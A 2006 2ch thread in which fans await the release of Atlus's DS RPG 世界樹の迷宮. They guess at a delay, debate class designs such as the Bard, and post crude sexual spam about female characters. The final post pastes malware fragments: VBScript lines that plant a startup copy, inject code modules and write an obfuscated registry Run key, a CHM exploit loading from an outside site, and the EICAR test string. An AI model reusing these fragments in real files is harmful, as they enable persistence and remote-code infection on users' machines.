世界樹の迷宮のカースメーカー♀たんは呪術カワイイ
ttp://game10.2ch.net/test/read.cgi/pokechara/1157007206/l50

456 :枯れた名無しの水平思考:2006/09/18(月) 21:25:08 ID:56QrFPTx0
やや亀だが>>445
FF4は、前3後2か前2後3のどちらかにしか隊列を変更できない。
他のFFみたく、全員前とか一人だけ前で残りは後ろとかができないんだよ。

457 :枯れた名無しの水平思考:2006/09/18(月) 21:25:13 ID:HOewu0WB0
ブシドー♀タンは病弱だったけど、魂を吸う魔剣のおかげで元気になりました、とか。


458 :枯れた名無しの水平思考:2006/09/18(月) 21:27:51 ID:BTodIZoj0
そりゃどこの白子王子だ。

459 :枯れた名無しの水平思考:2006/09/18(月) 21:29:57 ID:aTv2oT7Z0
>>453
何そのヒムラケンシン

460 :枯れた名無しの水平思考:2006/09/18(月) 21:44:08 ID:uefxcUEU0
>>456
d

461 :枯れた名無しの水平思考:2006/09/18(月) 21:46:48 ID:mPtlCmZC0
>>458
そういやその白子王子他関係者の本が最近再販されてるね。

462 :枯れた名無しの水平思考:2006/09/18(月) 21:49:03 ID:DVwy24+50
しーらこーしーらこー たーっぷーり しーらこー

463 :枯れた名無しの水平思考:2006/09/18(月) 21:57:35 ID:j/2FuX/s0
>>454
ケータイのアプリみたく階層ごとにステータスだけ違うグラだけ同じの名前違いだったりして。
それにしてもマジでそろそろ情報欲しいな。キャラ更新だけじゃ公式に人こないって

宇田働け。

464 :枯れた名無しの水平思考:2006/09/18(月) 22:00:14 ID:scR27YvG0
延期したから、予定通りに情報出せなくなったってことじゃないの?
あまりスタッフを責めるのもどうかと思う。

465 :枯れた名無しの水平思考:2006/09/18(月) 22:00:25 ID:aPprIkg+O
頼むから読点打ってくれ

466 :枯れた名無しの水平思考:2006/09/18(月) 22:01:47 ID:mPtlCmZC0
延期したなら延期したってとっととはっきりして欲しい。
そうしたらゆっくり再装填できるのに。

467 :枯れた名無しの水平思考:2006/09/18(月) 22:04:19 ID:aPprIkg+O
延期してシレンとかぶったりすると、ちょっと手が出せないかもしれん
十月前半には出ると思ってたから、ちょっと誤算だ
いやまあ、まだ発売日出てないけども

468 :枯れた名無しの水平思考:2006/09/18(月) 22:50:57 ID:53Q7Tb6r0
まだ10月に発売されると信じている人もいるのか・・・
発表が遅くなればなるほど怒りを買うぞ
わかってんのかアトラスさん

469 :枯れた名無しの水平思考:2006/09/18(月) 22:58:33 ID:FwCIcNeV0
ポケモンあるから10月に出ると困る気はするが
出たら出たで買う俺

470 :枯れた名無しの水平思考:2006/09/18(月) 23:06:10 ID:T9f8uTZ60
>>467
ゲハ板の店員スレでも世界樹の発注に関する話題は出て来て無いから10月前半は
絶望的だ・・・orz

471 :枯れた名無しの水平思考:2006/09/18(月) 23:07:46 ID:53Q7Tb6r0
発売延期発表とともに親王タンの肉声&古代タンのBGMをうpしてお茶を濁すに
1000カースメイカ


472 :枯れた名無しの水平思考:2006/09/18(月) 23:12:58 ID:w15BivXg0
いつもの延期厨か・・・

473 :枯れた名無しの水平思考:2006/09/18(月) 23:14:28 ID:vOH11gCn0
10月1日、世界中のマスコミを集めて新納がプレゼン
そして同日発売

474 :枯れた名無しの水平思考:2006/09/18(月) 23:15:51 ID:scR27YvG0
ID:w15BivXg0
おまえみたいな自治厨もどうかと思うが。

475 :枯れた名無しの水平思考:2006/09/18(月) 23:18:46 ID:5XRPDg8j0
>>471
これ真理だろ。肉声と古代BGM同時うpってその為としか思えないもの。

476 :枯れた名無しの水平思考:2006/09/18(月) 23:21:04 ID:bS1d4dAN0
宇田「そうだね、例えば今私が『世界樹の迷宮急遽明日発売!』という情報を送るとする。
するとどうなると思うかね、試してみようか?」

477 :枯れた名無しの水平思考:2006/09/18(月) 23:30:20 ID:ylIbF67q0
最近チュチュスレが萌えから他のデザインの事まで万能なスレ扱いになってきてるな

478 :枯れた名無しの水平思考:2006/09/18(月) 23:35:42 ID:Y1/spvLN0
発表時期見ると、10月前半どころか早くても12月前半だと思うぞ。
下手したら来年頭くらい。

479 :枯れた名無しの水平思考:2006/09/18(月) 23:41:31 ID:O0iPvg6B0
11月〜12月だと次世代機戦争に埋もれるな。
10月あたりに出しとけば口コミ効果ありそうなもんだが。

480 :枯れた名無しの水平思考:2006/09/19(火) 00:09:18 ID:pcP9eD7A0
プロモーション的なこと考えたら
発売まで一ヶ月切っているとしてこの情報の出てなさは異常。
延期は構わないがそのことすら発表しないやり方はどうかと思う。
ひょっとして延期どころか中止もありえるのではないか。
TFLOのように・・・

481 :枯れた名無しの水平思考:2006/09/19(火) 00:16:56 ID:RoTPpVWD0
海外版を発表したばかりなのに、中止は無いだろうよ。

482 :枯れた名無しの水平思考:2006/09/19(火) 00:23:03 ID:FEnj7iyK0
なんか深い事情がありそうだな
少なくとも宇田が問題なだけならこうはならないだろうし
むしろ宇田が一番困ってたりしてな、更新できなくて

483 :枯れた名無しの水平思考:2006/09/19(火) 00:28:33 ID:5uRLr6rW0
夜の酒場の左奥はソードマン♂で、右上はバード♀であってるかな。

484 :枯れた名無しの水平思考:2006/09/19(火) 00:34:08 ID:Q2IB2Qn/0
10月発売予定で現時点でまだ発売日確定じゃないのは
「うたわれるもの」と「ネバーランド研究史」を確認できた。

485 :枯れた名無しの水平思考:2006/09/19(火) 00:57:15 ID:nQ/TV9jf0
はぁ〜ん!メディック♀タソのおしりの穴がみたいよぉ〜

486 :枯れた名無しの水平思考:2006/09/19(火) 00:59:44 ID:Q2IB2Qn/0
メディック♀タソにおしりの穴なんて存在しないよ

487 :枯れた名無しの水平思考:2006/09/19(火) 01:11:54 ID:2qUpXv/r0
メディック♂とレンジャー♂の間に女性の顔が見える件についてw

488 :枯れた名無しの水平思考:2006/09/19(火) 01:28:20 ID:ICZ8nm4vO
ぶっちゃけまだデバックg

489 :枯れた名無しの水平思考:2006/09/19(火) 01:48:40 ID:MoMuuu8I0
ぶっちゃけるとバグが残ってるくらいなら延期してもらった方がいい派。
事前情報と比較すると、どう見てもキャラやイベントが削減されてて
セーブデータが破壊されるような致命的なバグもかなり抱えてる
ルンファクなんかプレイしちゃうとその思いが無駄に強くなる。
勿論延期無しバグ無しが理想的なのは言うまでもないが。

490 :枯れた名無しの水平思考:2006/09/19(火) 03:11:04 ID:2Os6qvxK0
バグのあるゲーム>バグのないゲーム>致命的なバグのあるゲーム

491 :枯れた名無しの水平思考:2006/09/19(火) 03:45:45 ID:opKliLeL0
はぁ〜ん!世界中の迷宮♀タソがバグも無く延期もされませんようにぃ〜

492 :枯れた名無しの水平思考:2006/09/19(火) 04:16:32 ID:MoMuuu8I0
なるほど、世界樹の迷宮は♀なので冒険者達が入っていくんだな。

493 :枯れた名無しの水平思考:2006/09/19(火) 04:20:11 ID:UrLxbA1e0
>>492
誰が上手いことを言えとwwww

494 :枯れた名無しの水平思考:2006/09/19(火) 06:23:16 ID:t1KFsyp70
9月に発売してくれねーかな
クラニンポイントをプラチナにするのに、あと新作1本分足りない

495 :枯れた名無しの水平思考:2006/09/19(火) 06:45:50 ID:R1LLCfZBO
ありえないから諦めて他のを買いなさい。

496 :枯れた名無しの水平思考:2006/09/19(火) 09:22:55 ID:4RjVawJa0
はぁ〜ん!カースメイカー♀タソとチュチュしたいよぉ〜


497 :枯れた名無しの水平思考:2006/09/19(火) 09:23:34 ID:4RjVawJa0
はぁ〜ん!カースメイカー♀タソとチュチュしたいよぉ〜
はぁ〜ん!カースメイカー♀タソとチュチュしたいよぉ〜


498 :枯れた名無しの水平思考:2006/09/19(火) 09:24:05 ID:4RjVawJa0
はぁ〜ん!カースメイカー♀タソとチュチュしたいよぉ〜
はぁ〜ん!カースメイカー♀タソとチュチュしたいよぉ〜
はぁ〜ん!カースメイカー♀タソとチュチュしたいよぉ〜
はぁ〜ん!カースメイカー♀タソとチュチュしたいよぉ〜


499 :枯れた名無しの水平思考:2006/09/19(火) 09:24:36 ID:4RjVawJa0
はぁ〜ん!カースメイカー♀タソとチュチュしたいよぉ〜
はぁ〜ん!カースメイカー♀タソとチュチュしたいよぉ〜
はぁ〜ん!カースメイカー♀タソとチュチュしたいよぉ〜
はぁ〜ん!カースメイカー♀タソとチュチュしたいよぉ〜
はぁ〜ん!カースメイカー♀タソとチュチュしたいよぉ〜
はぁ〜ん!カースメイカー♀タソとチュチュしたいよぉ〜
はぁ〜ん!カースメイカー♀タソとチュチュしたいよぉ〜
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500 :枯れた名無しの水平思考:2006/09/19(火) 09:25:06 ID:4RjVawJa0
はぁ〜ん!カースメイカー♀タソとチュチュしたいよぉ〜
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はぁ〜ん!カースメイカー♀タソとチュチュしたいよぉ〜
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はぁ〜ん!カースメイカー♀タソとチュチュしたいよぉ〜
はぁ〜ん!カースメイカー♀タソとチュチュしたいよぉ〜



501 :枯れた名無しの水平思考:2006/09/19(火) 09:30:12 ID:50ZOxFZh0
延期するわけないじゃない。
頑張って10月中には発売にこぎつけてくれるさ。

502 :枯れた名無しの水平思考:2006/09/19(火) 09:35:51 ID:jMkvkwe1O
はぁ〜ん!カースメイカー♀タソとチュチュしたいよぉ〜

503 :枯れた名無しの水平思考:2006/09/19(火) 09:59:31 ID:xC1SVVm90
現時点で問屋に何も連絡が入ってないことから延期は確実。
だいたい発売2ヶ月前には発売確定の連絡を入れておかないと流通関係が動かない。

504 :枯れた名無しの水平思考:2006/09/19(火) 10:00:46 ID:t1KFsyp70
アトラスHPでのオンライン専売で、発表後即発売

505 :枯れた名無しの水平思考:2006/09/19(火) 10:01:29 ID:xC1SVVm90
当然予約受付なんかも開始できないしね。
大型店なんかは一定の入荷数を見越して予約を集められるかもしれんが。

506 :枯れた名無しの水平思考:2006/09/19(火) 10:01:36 ID:phfTNuV10
はぁ〜ん!カスメイカー♀タソには愛想が尽きたよぉ〜

507 :枯れた名無しの水平思考:2006/09/19(火) 10:16:02 ID:50ZOxFZh0
そんな事は認めない。
なんとしてでも10月中に出してもらわないと。

508 :枯れた名無しの水平思考:2006/09/19(火) 11:23:41 ID:QIwr9XY6O
10月に中に出すだと
俺のアルケミス子に孕ませ予告とはいい度胸だ

509 :枯れた名無しの水平思考:2006/09/19(火) 12:42:31 ID:FxCpdu3P0
グダグダだな

510 :枯れた名無しの水平思考:2006/09/19(火) 12:46:56 ID:v/X5FZ140
褐色下乳の人に萌えたので買います

511 :枯れた名無しの水平思考:2006/09/19(火) 13:07:14 ID:nCVVFc5s0
なにこの変態スレ

512 :枯れた名無しの水平思考:2006/09/19(火) 13:08:14 ID:+VwEoasU0
アニオタ専ゲームはどこもこんな物です。

513 :枯れた名無しの水平思考:2006/09/19(火) 14:08:13 ID:P/hhnldg0
>>505
表面的に予約受付はしてないが、予約は出来るな。
一店舗だけでやってる店ならば冒険だが、中小のチェーン展開している店であればどこかで在庫が余る事が殆ど
その中で予約数から割り振りするからそこまで問題ではない。

最悪数が足りなかったら買出しに行くしな。
某ソフトが入荷予定数以下の配分にされた時は、発売日に一人6本とか買いに行かされたし。
仕事辞めたがそこの店ではもう買えねぇ・・・

514 :枯れた名無しの水平思考:2006/09/19(火) 18:29:58 ID:lUE5LJgl0
10月に間に合わなそうなら、10月を伸ばせばいいじゃない。

515 :枯れた名無しの水平思考:2006/09/19(火) 18:45:54 ID:+m9l8M4BO
>>514
その考えはあったわ。

516 :枯れた名無しの水平思考:2006/09/19(火) 18:48:03 ID:7jOui0T5O
旧暦

517 :枯れた名無しの水平思考:2006/09/19(火) 19:02:14 ID:76fFOCAH0
秋の夜長にじっくり遊びたいですねー

518 :枯れた名無しの水平思考:2006/09/19(火) 19:23:30 ID:xaRZpO1s0
来秋の夜長にお楽しみください。

519 :枯れた名無しの水平思考:2006/09/19(火) 19:36:04 ID:7vCt1Zju0
>さて、新納からのメッセージの公開ですが、今月末か来月頭を予定しております。
>また、どの曲を公開できるかはわかりませんが


今月末か来月頭を予定って、そんなことも分かってないのだろうか。
どの曲を公開できるかもわからないって…
大丈夫か?
発売日もわかってねえんだろうなー宇田広報

520 :枯れた名無しの水平思考:2006/09/19(火) 19:37:08 ID:jbmaSvzu0
アトラスは、ゲームショウに参加してるのかなあ?

521 :枯れた名無しの水平思考:2006/09/19(火) 19:44:17 ID:FEnj7iyK0
>>519
分かってないんじゃなくて決まってないんだろ
それに次回の更新内容を具体的には言わないだろう

522 :枯れた名無しの水平思考:2006/09/19(火) 19:46:59 ID:vCg3b8AZ0
多少遅れても文句いわんから
絶対に大バグ無いようにしてくれ。
といっても遅れても2〜3ヶ月にしてほしいが…

523 :枯れた名無しの水平思考:2006/09/19(火) 19:51:04 ID:FAKLQdiQ0
半年ぐらい遅れてもいいよ。
もっとも、これ以上遅れると企画自体が流れそうだがwww
2、3年位してから、別の名前のゲームに変わって発表してくれても俺は全然、無問題よwww

524 :枯れた名無しの水平思考:2006/09/19(火) 19:53:22 ID:lSA4pA890
新しいPS2買う予定が出来たため、DSL買う金が無くなった・・・
ということで数ヶ月延期希望だな。

年末調整戻ってきた分でDSL買えるんで。

525 :枯れた名無しの水平思考:2006/09/19(火) 19:58:47 ID:s56opZSr0
延期なら延期とさっさと告知してくれ。

526 :枯れた名無しの水平思考:2006/09/19(火) 20:01:00 ID:FAKLQdiQ0
告知無く10月を迎え、サイトは数ヶ月放置の後、突如削除。
永遠に発表はされない。

527 :枯れた名無しの水平思考:2006/09/19(火) 20:02:36 ID:FAKLQdiQ0
まぁ、まだ新規タイトルで良かったじゃない。
しかも全貌すら明らかになってない。
開発中止でもなんら問題ないでしょ。

続編物で続きが気になるのに、そのまま会社が倒産、永遠に闇の中に。。。なんてのに比べりゃ。

528 :枯れた名無しの水平思考:2006/09/19(火) 20:17:06 ID:0dT0IVoA0
バウンt(ry

529 :枯れた名無しの水平思考:2006/09/19(火) 20:20:59 ID:cnXOUX5g0
過去スレで出てた海外版の予定が、2007年第一四半期だったっけ?
国内版のめどがまるっきり立たない状態で
海外版の発表するって事は無いだろうし、まったり待つわ。

530 :枯れた名無しの水平思考:2006/09/19(火) 20:27:38 ID:jSQXUaUI0
鉄拳5、ソウルキャリバー3、wii

アメリカ先に発売するのは多い

531 :枯れた名無しの水平思考:2006/09/19(火) 20:27:50 ID:iYMsJA6P0
続編物で続きが気になるのに、開発チームが会社から離脱、永遠に水の中に。。。なんてのに比べりゃ。

532 :枯れた名無しの水平思考:2006/09/19(火) 20:32:35 ID:EYmRKHPCO
10月発売祈願age

533 :枯れた名無しの水平思考:2006/09/19(火) 20:34:59 ID:EYmRKHPCO
ONI零…。エンディングで流転編(続編)の予告までしておきながら…(つД`)

534 :枯れた名無しの水平思考:2006/09/19(火) 20:41:50 ID:DNKBtY1R0
エスパーが俺の代わりにカキコしたようだ…

535 :枯れた名無しの水平思考:2006/09/19(火) 20:48:56 ID:v/X5FZ140
パラディン♀とちゅっちゅしたいよぉ〜

536 :枯れた名無しの水平思考:2006/09/19(火) 20:55:13 ID:MoMuuu8I0
最近のだと、エクス3はどうなるんじゃろうか……

537 :枯れた名無しの水平思考:2006/09/19(火) 21:08:22 ID:0dT0IVoA0
>>532
ちょっと待ちたまえ^^

538 :枯れた名無しの水平思考:2006/09/19(火) 21:10:12 ID:7jOui0T5O
宇田さん…あなた、『覚悟』してきてる人ですよね……
「広報」をやるってことは……
逆に待っているユーザーの「不満」の白羽の矢に立つって
『覚悟』してきてる人ですよね……?

539 :枯れた名無しの水平思考:2006/09/19(火) 21:14:36 ID:nQ/TV9jf0
はぁ〜ん!メディック♀タソのおしりの穴がみたいよぉ〜

540 :枯れた名無しの水平思考:2006/09/19(火) 21:16:38 ID:7jOui0T5O
・待っている ユーザー ?
・白羽の矢に立つ→矢面に立つ

日本語って難しい

541 :枯れた名無しの水平思考:2006/09/19(火) 21:16:59 ID:nCVVFc5s0
開発者がもしこのスレとか見てるとしたら、随分やる気なくしてると思う。
だって、ちゅっちゅだのおしりの穴だの・・

542 :枯れた名無しの水平思考:2006/09/19(火) 21:18:06 ID:Q2IB2Qn/0
広報も大変だけどネトゲで実名だしてる開発者とかもっと大変だよな。
tnkとか。まぁあれは本人が酷いだけだけど。

543 :枯れた名無しの水平思考:2006/09/19(火) 21:30:11 ID:MUvAbGwg0
世界樹が発売された暁には
このスレが再度加齢臭で充満します

544 :枯れた名無しの水平思考:2006/09/19(火) 21:31:40 ID:v/X5FZ140
ブシドー♀たんとちゅっちゅっしたいよぉ・・・

545 :枯れた名無しの水平思考:2006/09/19(火) 21:39:00 ID:F2j55LFM0
>>541
俺は過剰な期待をしてる。ルーンファクトリー並のバグがあったらアトラスを見捨てる覚悟付。

546 :枯れた名無しの水平思考:2006/09/19(火) 21:40:37 ID:EYmRKHPCO
傍迷惑な話だな。

547 :枯れた名無しの水平思考:2006/09/19(火) 22:36:30 ID:Q2IB2Qn/0
バード♂の左手がなんか奇妙

548 :枯れた名無しの水平思考:2006/09/19(火) 22:51:02 ID:P7J0O10D0
ほとんど女キャラの胸がなさすぎて男の子にしか見えない
もうちょっと頭身高めがよかったな…

549 :枯れた名無しの水平思考:2006/09/19(火) 22:52:47 ID:MUvAbGwg0
結局キャラデザっすかwww

550 :枯れた名無しの水平思考:2006/09/19(火) 22:56:46 ID:kxyRL4rW0
>>545
俺はルーンファクトリー並のバグはまだ広い心で許せる

鋼の季節並だったら・・・

551 :枯れた名無しの水平思考:2006/09/19(火) 22:58:38 ID:v/X5FZ140
パラディン♀たんにおちんちんこすり付けたいよぉ〜

552 :枯れた名無しの水平思考:2006/09/19(火) 23:06:30 ID:FAKLQdiQ0
ソードマン♂が嫌だ。
女と同じように熱血系のデザインなら良かったのに。
絵もついて回るから、男使いたいけどイメージ重視で女使いそうだ。
キャラデザスレでも出てたけど、『 同 じ 職 業 の 両 性 の イ メ ー ジ は 統 一 し ろ 』、と。
なんか違うんだよなぁ。

553 :枯れた名無しの水平思考:2006/09/19(火) 23:07:16 ID:v/X5FZ140
つーか女キャラしかつくらんだろ
常識的に考えて・・・

554 :枯れた名無しの水平思考:2006/09/19(火) 23:08:56 ID:Rj9rO9/o0
キャラデザ云々はこちらで↓
世界樹の迷宮のキャラデザが合ってない2
http://game10.2ch.net/test/read.cgi/handygame/1155607168/

555 :枯れた名無しの水平思考:2006/09/19(火) 23:09:59 ID:Q2IB2Qn/0
今日はネガティブな流れですね

556 :枯れた名無しの水平思考:2006/09/19(火) 23:12:48 ID:v/X5FZ140
パラディン♀たんと結婚した!俺はパラディン♀たんと結婚したぞー!

557 :枯れた名無しの水平思考:2006/09/19(火) 23:14:29 ID:cnXOUX5g0
>>550
メタルサーガってそんなに凄かったのか、とググったらなんつーかこう…。
個人的にはデータ破壊と、ハマリ系のバグが無ければって感じかな。

558 :枯れた名無しの水平思考:2006/09/19(火) 23:15:29 ID:FAKLQdiQ0
>>553
 あ の キ ャ ラ デ ザ じゃ な。
常識的に考えて、女しか作らんって普通じゃないだろ。
このゲームはそんなに異常なゲームなのか。

559 :枯れた名無しの水平思考:2006/09/19(火) 23:19:01 ID:MoMuuu8I0
だからキャラデザスレから出てこないでくれよもう。

560 :枯れた名無しの水平思考:2006/09/19(火) 23:21:28 ID:P7J0O10D0
基本男で女はダークハンターぐらい入れとけばいいやとか思ってる俺は異常なのか?

561 :枯れた名無しの水平思考:2006/09/19(火) 23:22:37 ID:v/X5FZ140
褐色の下乳の人を仲間にしたいね

562 :枯れた名無しの水平思考:2006/09/19(火) 23:22:47 ID:7jOui0T5O
>559
そんなに巨乳が好きなのか、そのID

563 :枯れた名無しの水平思考:2006/09/19(火) 23:29:11 ID:cU5P+rpP0
>>550
どっちもどっちな気がががが。ルーンはデータが上書きオンリーなのにデータ破壊系バグが多いからなぁ
まぁゲーム自体の出来は全然違うけどw
鋼の季節はバグい上にタッチペンのダメな使い方を完膚無く実践してるからなぁ

564 :枯れた名無しの水平思考:2006/09/19(火) 23:51:05 ID:opKliLeL0
もむううぅぅううぅ!!!

565 :枯れた名無しの水平思考:2006/09/19(火) 23:59:09 ID:MoMuuu8I0
おっぱいは好きです。でもお尻も好きです。

でも最初は各職業1人ずつ、男女比が大体半分になるように作るつもりでいる。
どっちが5人になるかは気分次第。バードは♀と決めているが。

566 :枯れた名無しの水平思考:2006/09/20(水) 00:01:23 ID:3EAnn6ZU0
>>565
バード役に立つのかな。
バードって、ほとんどのゲームでネタ職だよね(´・ω・`)

567 :枯れた名無しの水平思考:2006/09/20(水) 00:02:48 ID:o0sMdDJt0
マクロスのリン・ミンメイくらい強力な歌使いも見てみたいもんだ。

568 :枯れた名無しの水平思考:2006/09/20(水) 00:04:06 ID:mx187eDg0
>>566
昨日FF3を吟遊詩人メンバーにいれてクリアしたので
しばらくはそういう感想をもてそうにない・・(笑)。

ってか、役立ちすぎ。


569 :枯れた名無しの水平思考:2006/09/20(水) 00:06:31 ID:AfFUlsed0
バードみたいな補助系って強すぎても弱すぎても寒いよね
どう調整してくるんだろう

570 :枯れた名無しの水平思考:2006/09/20(水) 00:09:49 ID:LuRfveuN0
パラディン、ブシドー、バード、カースメーカー、メディックの♀でパーティーつくりたいなぁー

571 :枯れた名無しの水平思考:2006/09/20(水) 00:10:49 ID:t7IATqsi0
補助専門職だろうから補助スキルの性能しだいだろうね
同じアトラスでメガテン系のカジャ・ンダなみの性能なら強力だが
てかバードが強いゲーム結構ある気がする

572 :枯れた名無しの水平思考:2006/09/20(水) 00:11:00 ID:XdFUN/wj0
直接戦闘力は殆どなし。スキル効果・消費は大。対ボス戦決戦兵器。
カスメともどもこんな役割になりそうな気がしている。
他にも、一定時間効果で歌ってる間はエンカウント率変化みたいなのも
ないかなとか夢想。

573 :枯れた名無しの水平思考:2006/09/20(水) 00:12:47 ID:LuRfveuN0
龍の眼光

574 :枯れた名無しの水平思考:2006/09/20(水) 00:16:33 ID:AfFUlsed0
バードのスキルがメガテンの補助並に強かったら
それはちょい強すぎかなーとは思う
職ごとの役割分担的には4種の職で十分、ってなときに
活躍する職だろうか。バード。
ってどんな状況だy。

575 :枯れた名無しの水平思考:2006/09/20(水) 00:41:17 ID:AfFUlsed0
カスメは相手のパラダウンもできるし、縛りも出来るのに
バードはこっちのパラアップだけか?パラダウンの成功率考えると
そりゃパラアップの方が強いけどそれだけじゃつまんねーよね。
>>572の>一定時間効果で歌ってる間はエンカウント率変化
みたいな移動中使えるものや他にも戦闘中で使えるスキルが欲しい。
というか早く情報公開して欲しい。

576 :枯れた名無しの水平思考:2006/09/20(水) 00:46:44 ID:+raEQ4Xq0
眠らせたりの状態異常とかできるんじゃない?
歌は全体に効果あるとかの特性はありそうな気がする。

577 :枯れた名無しの水平思考:2006/09/20(水) 00:51:15 ID:AfFUlsed0
眠りはいいなぁ。実にいい。
カスメが単体のキツめのバステならバードは全体のマイルドバステで
バランス取れるわ。

578 :枯れた名無しの水平思考:2006/09/20(水) 01:09:16 ID:XmBNHYIO0
実際はバランス調整する時間がなくて両方ともry
ヴァルハラナイツが色々不親切だったから期待してるんだが・・・大丈夫なのだろうか。

579 :枯れた名無しの水平思考:2006/09/20(水) 01:56:38 ID:LAWbRgF1O
イヅナスレって雰囲気いいな。

343:09/20(水) 01:29 7JEqLTjhO
シレンの繋ぎに買ってきました。
…べ、別におっぱいのために買ったわけじゃないんだからねっ!

344:09/20(水) 01:35 8TZENgTH0
おっぱいワールドへようこそ、エロイ人。


この一連のやりとりを見て感動した(つД`)

580 :枯れた名無しの水平思考:2006/09/20(水) 02:00:32 ID:9inwnSmD0
勘弁

581 :枯れた名無しの水平思考:2006/09/20(水) 02:23:54 ID:smUWPu7U0
バード役立ちまくりのゲームといえばスパロボD

582 :枯れた名無しの水平思考:2006/09/20(水) 03:11:44 ID:EbgZ9LI50
バードがパーティーに居ないと聞けないBGMがいっぱい…

583 :枯れた名無しの水平思考:2006/09/20(水) 05:06:21 ID:LAWbRgF1O
むしろバードがいないとBGM無し。ガヤや風の音、水滴の滴る音など環境音のみってのはどうだ!?

もちろん戦闘中だって音楽はかからない。だから、パーティの士気下がりまくり(プレイヤーのテンションも。
バードがいるのといないとで全パラメータ1.5倍位補正がかかる。

ただし、BGMは全て手動で切替え。バードのスキルでのみ変更。雰囲気に合ってないBGMだと逆にテンションが下がる(パーティの士気も下がる)。
レベルが上がると即興演奏なんて場の雰囲気を読んで勝手に演奏してくれたりなんか面白いかもw

明るい曲でテンション上がって攻撃力うpするけど、逆に注意力散漫になって防御力ダウンとか、
激しい曲でむちゃくちゃハイになって能力が引き出されるけど、後でどっと疲れが出るとか。
音楽の力はすごいね。
運動会とか燃えるもんね。
一人で勉強してる時とかBGMないと手につかないもんね。




まぁ、ただの妄想だ。
世界樹とは関係ないのはわかってるよ(´・ω・`)

584 :枯れた名無しの水平思考:2006/09/20(水) 06:04:18 ID:3JT2XZcgO
ファミ通早売り情報に期待

585 :枯れた名無しの水平思考:2006/09/20(水) 08:03:22 ID:fsMv/SUUO
はぁ〜ん!カースメイカー♀タソとチュチュしたいよぉ〜

586 :枯れた名無しの水平思考:2006/09/20(水) 08:54:35 ID:2M0NTJeF0
死ねばいいと思うよ

587 :枯れた名無しの水平思考:2006/09/20(水) 09:12:32 ID:+fnHpEJ1O
今週のファミ通には期待してない

588 :枯れた名無しの水平思考:2006/09/20(水) 09:30:32 ID:lDeYv5Qj0
はぁ〜ん!カースメイカー♀タソとチュチュしたいよぉ〜

589 :枯れた名無しの水平思考:2006/09/20(水) 10:09:07 ID:ZnzkzddH0
メディック♀引き千切りたい。

590 :枯れた名無しの水平思考:2006/09/20(水) 10:14:31 ID:Dc21ajtE0
たしかに首取って取り替かえたいね。

顔グラ、どうせならモンタージュにしろよ。


591 :枯れた名無しの水平思考:2006/09/20(水) 11:15:51 ID:ZnzkzddH0
い、いや、そういう意味じゃなくてさ(;´д`)
モンタージュとか、自分好みにキャラがメイクできるってのはすごく楽しそうだけど。

592 :枯れた名無しの水平思考:2006/09/20(水) 12:32:01 ID:h1IEmrHo0
何言ってるんだ、脳内ではどんなキャラもクリエイトできるぞ!

593 :枯れた名無しの水平思考:2006/09/20(水) 12:37:41 ID:xscSU/CS0
>>592
はいはい、wiz、wiz。
このゲームにはちゃあ〜んと、日向さんがデザインされたカッコかわいいキャラクター達がいるので、
キモい妄想は止して下さいねwwwww


594 :枯れた名無しの水平思考:2006/09/20(水) 12:49:06 ID:D98UoM9g0
実際に絵がないと妄想すら出来ないのか

595 :枯れた名無しの水平思考:2006/09/20(水) 12:56:27 ID:xscSU/CS0
日本語が通じないのか…?

596 :枯れた名無しの水平思考:2006/09/20(水) 12:56:29 ID:raj5EIlE0
今週もファミ通には載ってないのだろか

597 :枯れた名無しの水平思考:2006/09/20(水) 12:57:00 ID:fwuWRJzK0
はぁ〜ん!カースメイカー♀タソとチュチュしたいよぉ〜

598 :枯れた名無しの水平思考:2006/09/20(水) 13:05:04 ID:kTHbxZXMO
xscSU/CS0はキャラデザスレから出てこなくていいよ
あっちで合わないと言ってる連中とだけじゃれあってて下さい

599 :枯れた名無しの水平思考:2006/09/20(水) 13:14:00 ID:h1IEmrHo0
まぁみんなモチチュケ、特に>>597!(笑

宇田氏の口ぶりからすると、今週は情報まだどこにも出ないかもしれんね。
来週末に期待かな。
>>593
マジレスすると、絵があっても妄想できるゲームに仕上がってほしいねえ。
PCが未決定なこういうゲームは、あまり固定化された遊びのない世界観じゃないほうが
きっと楽しめるに違いないから。

600 :枯れた名無しの水平思考:2006/09/20(水) 13:33:16 ID:i9FUcKglO
>593
マジレスすると「キャラクター」はいないぞ

601 :枯れた名無しの水平思考:2006/09/20(水) 13:49:33 ID:xscSU/CS0
>>599
そういう遊びがあると面白そうだけど、今の状況じゃまだわからないね。

>>600
公式見てごらん。思いっきりキャラクターって項目があるはずだから。

602 :枯れた名無しの水平思考:2006/09/20(水) 13:53:46 ID:9inwnSmD0
xscSU/CS0はまともに話がしたいのか、ただ煽りたいだけなのか

603 :枯れた名無しの水平思考:2006/09/20(水) 14:27:46 ID:i9FUcKglO
>601
そうなのか
まあそれなら仕方ないが、少なくとも君のいうデザインされたキャラクターではないと思うぞ
特定の登場人物ではないのだから、あれはイメージをデザインしたものだろう
ユグドラ・ユニオンで登場人物と、職業のイメージイラストが全然違うようなもん

604 :枯れた名無しの水平思考:2006/09/20(水) 15:03:46 ID:raj5EIlE0
3時すぎたんでファミ通買ってきますね・・・発売日出てるといいな

605 :枯れた名無しの水平思考:2006/09/20(水) 15:36:02 ID:yAOym4vE0
ダークハンター♂マダー??

606 :枯れた名無しの水平思考:2006/09/20(水) 15:50:49 ID:raj5EIlE0
はぁ〜ん!ファミ通売ってなかったよぉ〜

607 :枯れた名無しの水平思考:2006/09/20(水) 16:05:35 ID:PNFng8eJ0
♪まだかなまだかな〜
♪世界樹の
♪宇田タンまだかな〜

608 :枯れた名無しの水平思考:2006/09/20(水) 16:09:07 ID:i3HUhlZv0
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)))
<object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
"avgnt"="\"C:\\Program Files\\AntiVir PersonalEdition Classic\\avgnt.exe\" /min /nosplash"
G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))
ms-its:mhtml:file://c:\
kak.hta';ken=wd+'START
kill -9 xz/tSaBh0
